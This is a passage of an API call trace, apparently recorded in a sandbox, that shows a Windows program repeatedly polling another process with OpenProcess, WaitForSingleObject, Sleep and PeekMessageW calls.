returned 1 [0116.894] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.894] Sleep (dwMilliseconds=0x1) [0116.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0116.920] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0116.932] CloseHandle (hObject=0xad4) returned 1 [0116.932] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.932] Sleep (dwMilliseconds=0x1) [0116.947] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0116.947] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0116.970] CloseHandle (hObject=0xad4) returned 1 [0116.970] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.970] Sleep (dwMilliseconds=0x1) [0116.978] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0116.978] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0116.994] CloseHandle (hObject=0xad4) returned 1 [0116.994] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.994] Sleep (dwMilliseconds=0x1) [0117.009] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.009] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.025] CloseHandle (hObject=0xad4) returned 1 [0117.025] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.025] Sleep (dwMilliseconds=0x1) [0117.041] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.041] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.058] CloseHandle (hObject=0xad4) returned 1 [0117.058] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.059] Sleep (dwMilliseconds=0x1) [0117.072] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.072] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.119] CloseHandle (hObject=0xad4) returned 1 [0117.119] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.119] Sleep (dwMilliseconds=0x1) [0117.165] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.165] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.169] CloseHandle (hObject=0xad4) returned 1 [0117.169] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.169] Sleep (dwMilliseconds=0x1) [0117.181] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0117.181] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0117.213] CloseHandle (hObject=0xad0) returned 1 [0117.213] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.213] Sleep (dwMilliseconds=0x1) [0117.258] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0117.258] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0117.269] CloseHandle (hObject=0xad0) returned 1 [0117.269] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.269] Sleep (dwMilliseconds=0x1) [0117.274] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0117.274] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0117.290] CloseHandle (hObject=0xad0) returned 1 [0117.290] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.290] Sleep (dwMilliseconds=0x1) [0117.306] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0117.306] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0117.321] CloseHandle (hObject=0xad0) returned 1 [0117.321] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.321] Sleep (dwMilliseconds=0x1) [0117.337] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0117.337] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0117.353] CloseHandle (hObject=0xad0) returned 1 [0117.353] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.353] Sleep (dwMilliseconds=0x1) [0117.400] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0117.400] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0117.449] CloseHandle (hObject=0xad0) returned 1 [0117.449] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.449] Sleep (dwMilliseconds=0x1) [0117.493] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0117.493] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0117.525] CloseHandle (hObject=0xad0) returned 1 [0117.525] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.525] Sleep (dwMilliseconds=0x1) [0117.571] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0117.571] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0117.651] CloseHandle (hObject=0xad0) returned 1 [0117.651] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.651] Sleep (dwMilliseconds=0x1) [0117.691] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0117.691] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0117.698] CloseHandle (hObject=0xad0) returned 1 [0117.698] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.698] Sleep (dwMilliseconds=0x1) [0117.711] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.711] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.727] CloseHandle (hObject=0xad4) returned 1 [0117.727] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.727] Sleep (dwMilliseconds=0x1) [0117.754] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.754] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.805] CloseHandle (hObject=0xad4) returned 1 [0117.805] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.805] Sleep (dwMilliseconds=0x1) [0117.821] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.821] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.846] CloseHandle (hObject=0xad4) returned 1 [0117.846] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.846] Sleep (dwMilliseconds=0x1) [0117.852] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.852] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.867] CloseHandle (hObject=0xad4) returned 1 [0117.867] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.867] Sleep (dwMilliseconds=0x1) [0117.883] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.883] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.945] CloseHandle (hObject=0xad4) returned 1 [0117.945] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.945] Sleep (dwMilliseconds=0x1) [0117.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0117.982] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0117.992] CloseHandle (hObject=0xad4) returned 1 [0117.992] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0117.992] Sleep (dwMilliseconds=0x1) [0118.008] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.008] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.023] CloseHandle (hObject=0xad4) returned 1 [0118.024] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.024] Sleep (dwMilliseconds=0x1) [0118.039] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.039] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.054] CloseHandle (hObject=0xad4) returned 1 [0118.055] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.055] Sleep (dwMilliseconds=0x1) [0118.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.070] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.086] CloseHandle (hObject=0xad4) returned 1 [0118.086] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.086] Sleep (dwMilliseconds=0x1) [0118.166] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.166] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.211] CloseHandle (hObject=0xad4) returned 1 [0118.211] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.211] Sleep (dwMilliseconds=0x1) [0118.253] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.253] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.257] CloseHandle (hObject=0xad4) returned 1 [0118.257] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.257] Sleep (dwMilliseconds=0x1) [0118.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.273] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.320] CloseHandle (hObject=0xad4) returned 1 [0118.320] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.320] Sleep (dwMilliseconds=0x1) [0118.352] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.352] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.426] CloseHandle (hObject=0xad4) returned 1 [0118.426] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.426] Sleep (dwMilliseconds=0x1) [0118.433] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.433] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.444] CloseHandle (hObject=0xad4) returned 1 [0118.445] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.445] Sleep (dwMilliseconds=0x1) [0118.473] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.473] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.476] CloseHandle (hObject=0xad4) returned 1 [0118.476] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.476] Sleep (dwMilliseconds=0x1) [0118.493] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.493] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.517] CloseHandle (hObject=0xad4) returned 1 [0118.517] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.517] Sleep (dwMilliseconds=0x1) [0118.522] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.523] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.538] CloseHandle (hObject=0xad4) returned 1 [0118.538] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.538] Sleep (dwMilliseconds=0x1) [0118.585] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.585] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.611] CloseHandle (hObject=0xad4) returned 1 [0118.611] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.611] Sleep (dwMilliseconds=0x1) [0118.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.621] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.632] CloseHandle (hObject=0xad4) returned 1 [0118.632] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.632] Sleep (dwMilliseconds=0x1) [0118.663] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0118.663] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0118.685] CloseHandle (hObject=0xad4) returned 1 [0118.685] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.685] Sleep (dwMilliseconds=0x1) [0118.696] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0118.696] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0118.726] CloseHandle (hObject=0xad0) returned 1 [0118.726] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0118.726] Sleep (dwMilliseconds=0x1) [0118.772] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0118.772] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0118.825] CloseHandle (hObject=0xad0) returned 1 [0118.825] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.075] Sleep (dwMilliseconds=0x1) [0119.099] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.099] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.106] CloseHandle (hObject=0xad0) returned 1 [0119.106] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.106] Sleep (dwMilliseconds=0x1) [0119.119] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.119] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.148] CloseHandle (hObject=0xad0) returned 1 [0119.148] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.148] Sleep (dwMilliseconds=0x1) [0119.183] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.183] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.202] CloseHandle (hObject=0xad0) returned 1 [0119.203] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.203] Sleep (dwMilliseconds=0x1) [0119.225] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.225] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.250] CloseHandle (hObject=0xad0) returned 1 [0119.250] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.250] Sleep (dwMilliseconds=0x1) [0119.268] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.268] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.280] CloseHandle (hObject=0xad0) returned 1 [0119.280] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.281] Sleep (dwMilliseconds=0x1) [0119.302] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.302] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.311] CloseHandle (hObject=0xad4) returned 1 [0119.311] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.311] Sleep (dwMilliseconds=0x1) [0119.350] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.350] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.385] CloseHandle (hObject=0xad0) returned 1 [0119.385] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.385] Sleep (dwMilliseconds=0x1) [0119.427] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.427] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.457] CloseHandle (hObject=0xad0) returned 1 [0119.457] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.457] Sleep (dwMilliseconds=0x1) [0119.459] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.459] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.486] CloseHandle (hObject=0xad0) returned 1 [0119.486] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.486] Sleep (dwMilliseconds=0x1) [0119.492] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.492] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.506] CloseHandle (hObject=0xad4) returned 1 [0119.506] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.506] Sleep (dwMilliseconds=0x1) [0119.521] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.521] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.563] CloseHandle (hObject=0xad4) returned 1 [0119.563] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.563] Sleep (dwMilliseconds=0x1) [0119.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.591] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.607] CloseHandle (hObject=0xad0) returned 1 [0119.607] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.607] Sleep (dwMilliseconds=0x1) [0119.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.633] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.650] CloseHandle (hObject=0xad4) returned 1 [0119.650] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.650] Sleep (dwMilliseconds=0x1) [0119.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.693] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.709] CloseHandle (hObject=0xad4) returned 1 [0119.709] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.709] Sleep (dwMilliseconds=0x1) [0119.739] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.739] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.768] CloseHandle (hObject=0xad4) returned 1 [0119.768] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.768] Sleep (dwMilliseconds=0x1) [0119.784] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.784] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.794] CloseHandle (hObject=0xad4) returned 1 [0119.794] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.794] Sleep (dwMilliseconds=0x1) [0119.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.820] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.833] CloseHandle (hObject=0xad4) returned 1 [0119.833] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.833] Sleep (dwMilliseconds=0x1) [0119.853] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0119.853] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0119.885] CloseHandle (hObject=0xad0) returned 1 [0119.885] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.885] Sleep (dwMilliseconds=0x1) [0119.918] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.918] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.931] CloseHandle (hObject=0xad4) returned 1 [0119.931] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.931] Sleep (dwMilliseconds=0x1) [0119.942] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0119.942] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0119.966] CloseHandle (hObject=0xad4) returned 1 [0119.966] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0119.966] Sleep (dwMilliseconds=0x1) [0119.975] OpenProcess 